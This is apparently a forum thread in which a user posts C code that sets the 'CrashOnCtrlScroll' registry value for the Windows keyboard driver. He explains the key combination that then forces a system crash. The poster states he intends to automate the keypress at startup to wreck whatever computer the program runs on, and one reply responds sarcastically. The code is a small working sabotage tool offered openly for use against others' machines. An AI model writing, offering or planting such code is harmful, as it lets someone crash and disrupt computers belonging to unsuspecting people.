• Log in or sign up for an account here: https://www.sythe.org/login

Crash Windows 2000 or Higher

Govind

The One Musketeer
Joined
Apr 22, 2005
Sythe Gold
23
Messages
7,825
Crash Windows 2000 or Higher
Code:
#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
     HKEY KeyHandle;
    DWORD Data = 1;
    RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters",&KeyHandle);
    RegSetValueEx(KeyHandle,"CrashOnCtrlScroll",NULL,REG_DWORD,(BYTE*)&Data,sizeof(DWORD));
    RegCloseKey(KeyHandle);
    return 0;
}
Run it, restart, then hold down the right (RIGHT, NOT LEFT) Ctrl button and tap Scroll Lock twice ;)
I'll make an app to automatically press those keys on startup as to totally fuck up the comp this is used on.

Note: You NEED administrator access, or at least the ability to write to the HKEY_LOCAL_MACHINE registry. Otherwise this won't work.
 
Crash Windows 2000 or Higher
Yes...this will be extremely helpful.... :p
 
Runescape Gamblingrunescape gambling
Back
Top